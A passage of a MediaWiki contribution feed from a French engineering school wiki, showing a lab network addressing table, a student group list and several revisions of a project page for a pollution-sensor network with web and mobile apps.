|10.60.17.0/24&lt;br /&gt;
|2001.660.4401.60C7::/64 &lt;br /&gt;
|10.60.17.252/24&lt;br /&gt;
|10.60.17.253/24&lt;br /&gt;
|10.60.17.254/24&lt;br /&gt;
|Hercule&lt;br /&gt;
|193.48.57.183/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 8&lt;br /&gt;
|18&lt;br /&gt;
|10.60.18.0/24&lt;br /&gt;
|2001.660.4401.60C8::/64 &lt;br /&gt;
|10.60.18.252/24&lt;br /&gt;
|10.60.18.253/24&lt;br /&gt;
|10.60.18.254/24&lt;br /&gt;
|Nyx&lt;br /&gt;
|193.48.57.184/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 9&lt;br /&gt;
|19&lt;br /&gt;
|10.60.19.0/24&lt;br /&gt;
|2001.660.4401.60C9::/64 &lt;br /&gt;
|10.60.19.252/24&lt;br /&gt;
|10.60.19.253/24&lt;br /&gt;
|10.60.19.254/24&lt;br /&gt;
|NOM MACHINE VIRTUELLE&lt;br /&gt;
|193.48.57.185/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 10&lt;br /&gt;
|20&lt;br /&gt;
|10.60.20.0/24&lt;br /&gt;
|2001.660.4401.60CA::/64 &lt;br /&gt;
|10.60.20.252/24&lt;br /&gt;
|10.60.20.253/24&lt;br /&gt;
|10.60.20.254/24&lt;br /&gt;
|Hermes&lt;br /&gt;
|193.48.57.186/28&lt;br /&gt;
|-&lt;br /&gt;
|Groupe 11&lt;br /&gt;
|21&lt;br /&gt;
|10.60.21.0/24&lt;br /&gt;
|2001.660.4401.60CB::/64 &lt;br /&gt;
|10.60.21.252/24&lt;br /&gt;
|10.60.21.253/24&lt;br /&gt;
|10.60.21.254/24&lt;br /&gt;
|NOM MACHINE VIRTUELLE&lt;br /&gt;
|193.48.57.187/28&lt;br /&gt;
|-&lt;br /&gt;
|Interconnexion&lt;br /&gt;
|131&lt;br /&gt;
|192.168.222.8/29&lt;br /&gt;
|Router1 : fe80:0000:0042:0002 // Router2 : fe80:0000:0042:0003 // Ecole : fe80:0000:0042:0001&lt;br /&gt;
|192.168.222.9/29&lt;br /&gt;
|192.168.222.10/29&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=47417</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=47417"/>
				<updated>2018-11-12T10:38:34Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : Page créée avec « = Wiki de TP = »&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019&amp;diff=47415</id>
		<title>TP sysres IMA5sc 2018/2019</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019&amp;diff=47415"/>
				<updated>2018-11-12T10:38:07Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Répartition des binômes */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Cahier !! Elèves &lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G1 | Cahier groupe n°1]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G2 | Cahier groupe n°2]]&lt;br /&gt;
|  Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G3 | Cahier groupe n°3]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G4 | Cahier groupe n°4]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G6 | Cahier groupe n°6]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G7 | Cahier groupe n°7]]&lt;br /&gt;
| Naif Mehanna &amp;amp; Maxime Créteur&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G8 | Cahier groupe n°8]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G9 | Cahier groupe n°9]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G10 | Cahier groupe n°10]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G11 | Cahier groupe n°11]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G12 | Cahier groupe n°12]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
| [[ TP sysres IMA5sc 2018/2019 G13 | Cahier groupe n°13]]&lt;br /&gt;
| Prénom Nom &amp;amp; Prénom Nom&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=IMA4_2017/2018_P5&amp;diff=46178</id>
		<title>IMA4 2017/2018 P5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=IMA4_2017/2018_P5&amp;diff=46178"/>
				<updated>2017-11-11T20:20:27Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Choix techniques : matériel et logiciel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
='''Réseau de capteurs de pollution'''=&lt;br /&gt;
&lt;br /&gt;
=Présentation générale=&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Notre projet consiste à réaliser un réseau de capteurs de pollution. Ceux ci permettront au travers d'une application web et d'une application mobile de visualiser le taux de pollution aux particules fines et polluants chimiques en différents endroits en temps réel.&lt;br /&gt;
Nous pourrons ensuite aider les utilisateurs à trouver les chemins les plus appropriés pour se déplacer en étant le moins exposé possible à la pollution. En effet, l'exposition prolongée à un taux élevé de particules fines réduit l'espérance de vie. Connaitre le taux de pollution est donc un enjeu majeur.&lt;br /&gt;
&lt;br /&gt;
==Objectifs==&lt;br /&gt;
&lt;br /&gt;
* Élaboration d'un capteur de pollution permettant de détecter différents polluants (particules fines, poussière, résidus de combustion) connecté au réseau LoRaWAN&lt;br /&gt;
* Création d'une application web permettant aux utilisateurs de visualiser les taux de pollution détectés par les capteurs en différents endroits de la ville et de pouvoir déterminer le chemin le plus approprié pour leurs déplacements. &lt;br /&gt;
* Création d'une application mobile avec les mêmes spécificités que le site web&lt;br /&gt;
* Élaboration d'un algorithme de machine learning permettant de déterminer le meilleur chemin selon des anciennes données dans le cas d'une panne des capteurs.&lt;br /&gt;
&lt;br /&gt;
=Analyse du projet=&lt;br /&gt;
&lt;br /&gt;
==Positionnement par rapport à l'existant==&lt;br /&gt;
&lt;br /&gt;
* Site web évaluant la pollution sur Lille : https://air.plumelabs.com/fr/live/lille&lt;br /&gt;
* Site évaluant la pollution de l'air dans différentes villes de France : http://aqicn.org/map/france/&lt;br /&gt;
* Carte couleur en fonction de la pollution : http://www2.prevair.org/&lt;br /&gt;
&lt;br /&gt;
* Application plume air report donnant la qualité de l'air dans la ville demandée ainsi que des astuces pour éviter la pollution : https://plumelabs.com/en/products/air-report&lt;br /&gt;
&lt;br /&gt;
==Analyse du premier concurrent==&lt;br /&gt;
==Analyse du second concurrent==&lt;br /&gt;
==Scénario d'usage du produit ou du concept envisagé==&lt;br /&gt;
&lt;br /&gt;
'''Sur la page d'accueil:''' les informations générales sur la pollution : &lt;br /&gt;
* La moyenne journalière de pollution sur toute la ville&lt;br /&gt;
* L'évolution de la pollution moyenne sur la semaine, le mois, l'année... (graphique)&lt;br /&gt;
&lt;br /&gt;
'''Dans les autres onglets :'''&lt;br /&gt;
&lt;br /&gt;
* Une carte de la ville de Lille présentant le niveau de pollution en fonction des données relevées sur les capteurs.&lt;br /&gt;
* Une interface permettant à l'utilisateur de rentrer le trajet qu'il souhaite réaliser et qui lui renvoie le meilleur itinéraire&lt;br /&gt;
&lt;br /&gt;
==Réponse à la question difficile==&lt;br /&gt;
&lt;br /&gt;
Selon certaines documentations, le capteur perd en précision lorsqu'un souffle est appliqué sur le capteur. Il faudrait donc envisager un moyen pour protéger le capteur du vent afin d'obtenir la meilleure précision. Surtout en cas de placement des capteurs sur des vehicules.&lt;br /&gt;
&lt;br /&gt;
=Préparation du projet=&lt;br /&gt;
&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
différents polluants pouvant être évalués : &lt;br /&gt;
&lt;br /&gt;
* Monoxyde de carbone&lt;br /&gt;
* Dioxyde de carbone&lt;br /&gt;
* Ozone&lt;br /&gt;
* Particules en suspension PM2.5 (particules de diamètre inférieurs à 2,5 micromètres),PM10&lt;br /&gt;
* Dioxyde de souffre&lt;br /&gt;
&lt;br /&gt;
==Choix techniques : matériel et logiciel==&lt;br /&gt;
&lt;br /&gt;
'''Capteur :'''&lt;br /&gt;
&lt;br /&gt;
* Raspberry Pi zero &lt;br /&gt;
* Module 3G &lt;br /&gt;
* Module GPS&lt;br /&gt;
* Batterie Lithium Ion&lt;br /&gt;
* Adaptateur micro USB&lt;br /&gt;
* HPMA115S0-XXX&lt;br /&gt;
&lt;br /&gt;
La raspberry pi peut être remplacée par le module Particle Photon ( Lien [[https://www.lextronic.fr/P37394-module-particle-photon.html]] ) qui comprend un module de données&lt;br /&gt;
cellulaires qui amortirait le cout d'un dongle. Le kit de développement de Particle comprend une batterie et une carte SIM prépayée ainsi que plusieurs accessoires supplémentaires. Il serait peut être plus raisonnable d'opter pour le kit.&lt;br /&gt;
&lt;br /&gt;
'''Backend'''&lt;br /&gt;
* Base de données NoSQL : RethinkDB ou MongoDB&lt;br /&gt;
* Google maps API : service de localisation avec points de cheminements pour choisir le meilleur itinéraire https://developers.google.com/maps/documentation/directions/intro?hl=fr#Waypoints&lt;br /&gt;
* Jersey : pour l'API REST et le traitement en temps réel&lt;br /&gt;
* RabbitMQ pour le système publish/subscribe&lt;br /&gt;
&lt;br /&gt;
'''Application mobile :'''&lt;br /&gt;
* Java/Kotlin&lt;br /&gt;
&lt;br /&gt;
'''Application Web :'''&lt;br /&gt;
&lt;br /&gt;
* Node/AngularJS : pour améliorer la fluidité du site.&lt;br /&gt;
* Bootstrap/Semantic UI : pour faciliter le développement&lt;br /&gt;
&lt;br /&gt;
==Liste des tâches à effectuer==&lt;br /&gt;
==Calendrier prévisionnel==&lt;br /&gt;
&lt;br /&gt;
=Réalisation du Projet=&lt;br /&gt;
==Feuille d'heures==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Tâche !! Prélude !! Heures S1 !! Heures S2 !! Heures S3 !! Heures S4 !! Heures S5 !! Heures S6 !! Heures S7 !! Heures S8 !! Heures S9 !! Heures S10 !! Total&lt;br /&gt;
|-&lt;br /&gt;
| Analyse du projet &lt;br /&gt;
| 0&lt;br /&gt;
| &lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Prologue==&lt;br /&gt;
==Semaine 1==&lt;br /&gt;
==Semaine 2==&lt;br /&gt;
&lt;br /&gt;
=Documents Rendus=&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=IMA4_2017/2018_P5&amp;diff=46177</id>
		<title>IMA4 2017/2018 P5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=IMA4_2017/2018_P5&amp;diff=46177"/>
				<updated>2017-11-11T18:40:49Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Choix techniques : matériel et logiciel */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
='''Réseau de capteurs de pollution'''=&lt;br /&gt;
&lt;br /&gt;
=Présentation générale=&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Notre projet consiste à réaliser un réseau de capteurs de pollution. Ceux ci permettront au travers d'une application web et d'une application mobile de visualiser le taux de pollution aux particules fines et polluants chimiques en différents endroits en temps réel.&lt;br /&gt;
Nous pourrons ensuite aider les utilisateurs à trouver les chemins les plus appropriés pour se déplacer en étant le moins exposé possible à la pollution. En effet, l'exposition prolongée à un taux élevé de particules fines réduit l'espérance de vie. Connaitre le taux de pollution est donc un enjeu majeur.&lt;br /&gt;
&lt;br /&gt;
==Objectifs==&lt;br /&gt;
&lt;br /&gt;
* Élaboration d'un capteur de pollution permettant de détecter différents polluants (particules fines, poussière, résidus de combustion) connecté au réseau LoRaWAN&lt;br /&gt;
* Création d'une application web permettant aux utilisateurs de visualiser les taux de pollution détectés par les capteurs en différents endroits de la ville et de pouvoir déterminer le chemin le plus approprié pour leurs déplacements. &lt;br /&gt;
* Création d'une application mobile avec les mêmes spécificités que le site web&lt;br /&gt;
* Élaboration d'un algorithme de machine learning permettant de déterminer le meilleur chemin selon des anciennes données dans le cas d'une panne des capteurs.&lt;br /&gt;
&lt;br /&gt;
=Analyse du projet=&lt;br /&gt;
&lt;br /&gt;
==Positionnement par rapport à l'existant==&lt;br /&gt;
&lt;br /&gt;
* Site web évaluant la pollution sur Lille : https://air.plumelabs.com/fr/live/lille&lt;br /&gt;
* Site évaluant la pollution de l'air dans différentes villes de France : http://aqicn.org/map/france/&lt;br /&gt;
* Carte couleur en fonction de la pollution : http://www2.prevair.org/&lt;br /&gt;
&lt;br /&gt;
* Application plume air report donnant la qualité de l'air dans la ville demandée ainsi que des astuces pour éviter la pollution : https://plumelabs.com/en/products/air-report&lt;br /&gt;
&lt;br /&gt;
==Analyse du premier concurrent==&lt;br /&gt;
==Analyse du second concurrent==&lt;br /&gt;
==Scénario d'usage du produit ou du concept envisagé==&lt;br /&gt;
&lt;br /&gt;
'''Sur la page d'accueil:''' les informations générales sur la pollution : &lt;br /&gt;
* La moyenne journalière de pollution sur toute la ville&lt;br /&gt;
* L'évolution de la pollution moyenne sur la semaine, le mois, l'année... (graphique)&lt;br /&gt;
&lt;br /&gt;
'''Dans les autres onglets :'''&lt;br /&gt;
&lt;br /&gt;
* Une carte de la ville de Lille présentant le niveau de pollution en fonction des données relevées sur les capteurs.&lt;br /&gt;
* Une interface permettant à l'utilisateur de rentrer le trajet qu'il souhaite réaliser et qui lui renvoie le meilleur itinéraire&lt;br /&gt;
&lt;br /&gt;
==Réponse à la question difficile==&lt;br /&gt;
&lt;br /&gt;
Selon certaines documentations, le capteur perd en précision lorsqu'un souffle est appliqué sur le capteur. Il faudrait donc envisager un moyen pour protéger le capteur du vent afin d'obtenir la meilleure précision. Surtout en cas de placement des capteurs sur des vehicules.&lt;br /&gt;
&lt;br /&gt;
=Préparation du projet=&lt;br /&gt;
&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
différents polluants pouvant être évalués : &lt;br /&gt;
&lt;br /&gt;
* Monoxyde de carbone&lt;br /&gt;
* Dioxyde de carbone&lt;br /&gt;
* Ozone&lt;br /&gt;
* Particules en suspension PM2.5 (particules de diamètre inférieurs à 2,5 micromètres),PM10&lt;br /&gt;
* Dioxyde de souffre&lt;br /&gt;
&lt;br /&gt;
==Choix techniques : matériel et logiciel==&lt;br /&gt;
&lt;br /&gt;
'''Capteur :'''&lt;br /&gt;
&lt;br /&gt;
Raspberry Pi zero + module 3G + adaptateur micro USB&lt;br /&gt;
&lt;br /&gt;
'''Backend'''&lt;br /&gt;
* Base de données NoSQL : RethinkDB ou MongoDB&lt;br /&gt;
* Google maps API : service de localisation avec points de cheminements pour choisir le meilleur itinéraire https://developers.google.com/maps/documentation/directions/intro?hl=fr#Waypoints&lt;br /&gt;
* Jersey : pour l'API REST et le traitement en temps réel&lt;br /&gt;
* RabbitMQ pour le système publish/subscribe&lt;br /&gt;
&lt;br /&gt;
'''Application mobile :'''&lt;br /&gt;
* Java/Kotlin&lt;br /&gt;
&lt;br /&gt;
'''Application Web :'''&lt;br /&gt;
&lt;br /&gt;
* Node/AngularJS : pour améliorer la fluidité du site.&lt;br /&gt;
* Bootstrap/Semantic UI : pour faciliter le développement&lt;br /&gt;
&lt;br /&gt;
==Liste des tâches à effectuer==&lt;br /&gt;
==Calendrier prévisionnel==&lt;br /&gt;
&lt;br /&gt;
=Réalisation du Projet=&lt;br /&gt;
==Feuille d'heures==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Tâche !! Prélude !! Heures S1 !! Heures S2 !! Heures S3 !! Heures S4 !! Heures S5 !! Heures S6 !! Heures S7 !! Heures S8 !! Heures S9 !! Heures S10 !! Total&lt;br /&gt;
|-&lt;br /&gt;
| Analyse du projet &lt;br /&gt;
| 0&lt;br /&gt;
| &lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Prologue==&lt;br /&gt;
==Semaine 1==&lt;br /&gt;
==Semaine 2==&lt;br /&gt;
&lt;br /&gt;
=Documents Rendus=&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=IMA4_2017/2018_P5&amp;diff=46176</id>
		<title>IMA4 2017/2018 P5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=IMA4_2017/2018_P5&amp;diff=46176"/>
				<updated>2017-11-11T16:34:43Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Objectifs */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
='''Réseau de capteurs de pollution'''=&lt;br /&gt;
&lt;br /&gt;
=Présentation générale=&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Notre projet consiste à réaliser un réseau de capteurs de pollution. Ceux ci permettront au travers d'une application web et d'une application mobile de visualiser le taux de pollution aux particules fines et polluants chimiques en différents endroits en temps réel.&lt;br /&gt;
Nous pourrons ensuite aider les utilisateurs à trouver les chemins les plus appropriés pour se déplacer en étant le moins exposé possible à la pollution. En effet, l'exposition prolongée à un taux élevé de particules fines réduit l'espérance de vie. Connaitre le taux de pollution est donc un enjeu majeur.&lt;br /&gt;
&lt;br /&gt;
==Objectifs==&lt;br /&gt;
&lt;br /&gt;
* Élaboration d'un capteur de pollution permettant de détecter différents polluants (particules fines, poussière, résidus de combustion) connecté au réseau LoRaWAN&lt;br /&gt;
* Création d'une application web permettant aux utilisateurs de visualiser les taux de pollution détectés par les capteurs en différents endroits de la ville et de pouvoir déterminer le chemin le plus approprié pour leurs déplacements. &lt;br /&gt;
* Création d'une application mobile avec les mêmes spécificités que le site web&lt;br /&gt;
* Élaboration d'un algorithme de machine learning permettant de déterminer le meilleur chemin selon des anciennes données dans le cas d'une panne des capteurs.&lt;br /&gt;
&lt;br /&gt;
=Analyse du projet=&lt;br /&gt;
&lt;br /&gt;
==Positionnement par rapport à l'existant==&lt;br /&gt;
&lt;br /&gt;
* Site web évaluant la pollution sur Lille : https://air.plumelabs.com/fr/live/lille&lt;br /&gt;
* Site évaluant la pollution de l'air dans différentes villes de France : http://aqicn.org/map/france/&lt;br /&gt;
* Carte couleur en fonction de la pollution : http://www2.prevair.org/&lt;br /&gt;
&lt;br /&gt;
* Application plume air report donnant la qualité de l'air dans la ville demandée ainsi que des astuces pour éviter la pollution : https://plumelabs.com/en/products/air-report&lt;br /&gt;
&lt;br /&gt;
==Analyse du premier concurrent==&lt;br /&gt;
==Analyse du second concurrent==&lt;br /&gt;
==Scénario d'usage du produit ou du concept envisagé==&lt;br /&gt;
&lt;br /&gt;
'''Sur la page d'accueil:''' les informations générales sur la pollution : &lt;br /&gt;
* La moyenne journalière de pollution sur toute la ville&lt;br /&gt;
* L'évolution de la pollution moyenne sur la semaine, le mois, l'année... (graphique)&lt;br /&gt;
&lt;br /&gt;
'''Dans les autres onglets :'''&lt;br /&gt;
&lt;br /&gt;
* Une carte de la ville de Lille présentant le niveau de pollution en fonction des données relevées sur les capteurs.&lt;br /&gt;
* Une interface permettant à l'utilisateur de rentrer le trajet qu'il souhaite réaliser et qui lui renvoie le meilleur itinéraire&lt;br /&gt;
&lt;br /&gt;
==Réponse à la question difficile==&lt;br /&gt;
&lt;br /&gt;
Selon certaines documentations, le capteur perd en précision lorsqu'un souffle est appliqué sur le capteur. Il faudrait donc envisager un moyen pour protéger le capteur du vent afin d'obtenir la meilleure précision. Surtout en cas de placement des capteurs sur des vehicules.&lt;br /&gt;
&lt;br /&gt;
=Préparation du projet=&lt;br /&gt;
&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
différents polluants pouvant être évalués : &lt;br /&gt;
&lt;br /&gt;
* Monoxyde de carbone&lt;br /&gt;
* Dioxyde de carbone&lt;br /&gt;
* Ozone&lt;br /&gt;
* Particules en suspension PM2.5 (particules de diamètre inférieurs à 2,5 micromètres),PM10&lt;br /&gt;
* Dioxyde de souffre&lt;br /&gt;
&lt;br /&gt;
==Choix techniques : matériel et logiciel==&lt;br /&gt;
&lt;br /&gt;
'''Capteur :'''&lt;br /&gt;
&lt;br /&gt;
Raspberry Pi zero + module 3G + adaptateur micro USB&lt;br /&gt;
&lt;br /&gt;
'''Application mobile :'''&lt;br /&gt;
&lt;br /&gt;
'''Application Web :'''&lt;br /&gt;
&lt;br /&gt;
* Node/AngularJS : pour améliorer la fluidité du site.&lt;br /&gt;
* Bootstrap/Semantic UI : pour faciliter le développement&lt;br /&gt;
* Base de données NoSQL : RethinkDB ou MongoDB&lt;br /&gt;
* Google maps API : service de localisation avec points de cheminements pour choisir le meilleur itinéraire https://developers.google.com/maps/documentation/directions/intro?hl=fr#Waypoints&lt;br /&gt;
&lt;br /&gt;
==Liste des tâches à effectuer==&lt;br /&gt;
==Calendrier prévisionnel==&lt;br /&gt;
&lt;br /&gt;
=Réalisation du Projet=&lt;br /&gt;
==Feuille d'heures==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Tâche !! Prélude !! Heures S1 !! Heures S2 !! Heures S3 !! Heures S4 !! Heures S5 !! Heures S6 !! Heures S7 !! Heures S8 !! Heures S9 !! Heures S10 !! Total&lt;br /&gt;
|-&lt;br /&gt;
| Analyse du projet &lt;br /&gt;
| 0&lt;br /&gt;
| &lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Prologue==&lt;br /&gt;
==Semaine 1==&lt;br /&gt;
==Semaine 2==&lt;br /&gt;
&lt;br /&gt;
=Documents Rendus=&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=IMA4_2017/2018_P5&amp;diff=46175</id>
		<title>IMA4 2017/2018 P5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=IMA4_2017/2018_P5&amp;diff=46175"/>
				<updated>2017-11-11T16:33:06Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Description */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
='''Réseau de capteurs de pollution'''=&lt;br /&gt;
&lt;br /&gt;
=Présentation générale=&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
&lt;br /&gt;
Notre projet consiste à réaliser un réseau de capteurs de pollution. Ceux ci permettront au travers d'une application web et d'une application mobile de visualiser le taux de pollution aux particules fines et polluants chimiques en différents endroits en temps réel.&lt;br /&gt;
Nous pourrons ensuite aider les utilisateurs à trouver les chemins les plus appropriés pour se déplacer en étant le moins exposé possible à la pollution. En effet, l'exposition prolongée à un taux élevé de particules fines réduit l'espérance de vie. Connaitre le taux de pollution est donc un enjeu majeur.&lt;br /&gt;
&lt;br /&gt;
==Objectifs==&lt;br /&gt;
&lt;br /&gt;
* Elaboration d'un capteur de pollution permettant de détecter différents polluants (particules fines, poussière, résidus de combustion)&lt;br /&gt;
* Création d'une application web permettant aux utilisateurs de visualiser les taux de pollution détectés par les capteurs en différents endroits de la ville et de pouvoir déterminer le chemin le plus approprié pour leurs déplacements&lt;br /&gt;
* Création d'une application mobile avec les mêmes spécificités que le site web&lt;br /&gt;
&lt;br /&gt;
=Analyse du projet=&lt;br /&gt;
&lt;br /&gt;
==Positionnement par rapport à l'existant==&lt;br /&gt;
&lt;br /&gt;
* Site web évaluant la pollution sur Lille : https://air.plumelabs.com/fr/live/lille&lt;br /&gt;
* Site évaluant la pollution de l'air dans différentes villes de France : http://aqicn.org/map/france/&lt;br /&gt;
* Carte couleur en fonction de la pollution : http://www2.prevair.org/&lt;br /&gt;
&lt;br /&gt;
* Application plume air report donnant la qualité de l'air dans la ville demandée ainsi que des astuces pour éviter la pollution : https://plumelabs.com/en/products/air-report&lt;br /&gt;
&lt;br /&gt;
==Analyse du premier concurrent==&lt;br /&gt;
==Analyse du second concurrent==&lt;br /&gt;
==Scénario d'usage du produit ou du concept envisagé==&lt;br /&gt;
&lt;br /&gt;
'''Sur la page d'accueil:''' les informations générales sur la pollution : &lt;br /&gt;
* La moyenne journalière de pollution sur toute la ville&lt;br /&gt;
* L'évolution de la pollution moyenne sur la semaine, le mois, l'année... (graphique)&lt;br /&gt;
&lt;br /&gt;
'''Dans les autres onglets :'''&lt;br /&gt;
&lt;br /&gt;
* Une carte de la ville de Lille présentant le niveau de pollution en fonction des données relevées sur les capteurs.&lt;br /&gt;
* Une interface permettant à l'utilisateur de rentrer le trajet qu'il souhaite réaliser et qui lui renvoie le meilleur itinéraire&lt;br /&gt;
&lt;br /&gt;
==Réponse à la question difficile==&lt;br /&gt;
&lt;br /&gt;
Selon certaines documentations, le capteur perd en précision lorsqu'un souffle est appliqué sur le capteur. Il faudrait donc envisager un moyen pour protéger le capteur du vent afin d'obtenir la meilleure précision. Surtout en cas de placement des capteurs sur des vehicules.&lt;br /&gt;
&lt;br /&gt;
=Préparation du projet=&lt;br /&gt;
&lt;br /&gt;
==Cahier des charges==&lt;br /&gt;
&lt;br /&gt;
différents polluants pouvant être évalués : &lt;br /&gt;
&lt;br /&gt;
* Monoxyde de carbone&lt;br /&gt;
* Dioxyde de carbone&lt;br /&gt;
* Ozone&lt;br /&gt;
* Particules en suspension PM2.5 (particules de diamètre inférieurs à 2,5 micromètres),PM10&lt;br /&gt;
* Dioxyde de souffre&lt;br /&gt;
&lt;br /&gt;
==Choix techniques : matériel et logiciel==&lt;br /&gt;
&lt;br /&gt;
'''Capteur :'''&lt;br /&gt;
&lt;br /&gt;
Raspberry Pi zero + module 3G + adaptateur micro USB&lt;br /&gt;
&lt;br /&gt;
'''Application mobile :'''&lt;br /&gt;
&lt;br /&gt;
'''Application Web :'''&lt;br /&gt;
&lt;br /&gt;
* Node/AngularJS : pour améliorer la fluidité du site.&lt;br /&gt;
* Bootstrap/Semantic UI : pour faciliter le développement&lt;br /&gt;
* Base de données NoSQL : RethinkDB ou MongoDB&lt;br /&gt;
* Google maps API : service de localisation avec points de cheminements pour choisir le meilleur itinéraire https://developers.google.com/maps/documentation/directions/intro?hl=fr#Waypoints&lt;br /&gt;
&lt;br /&gt;
==Liste des tâches à effectuer==&lt;br /&gt;
==Calendrier prévisionnel==&lt;br /&gt;
&lt;br /&gt;
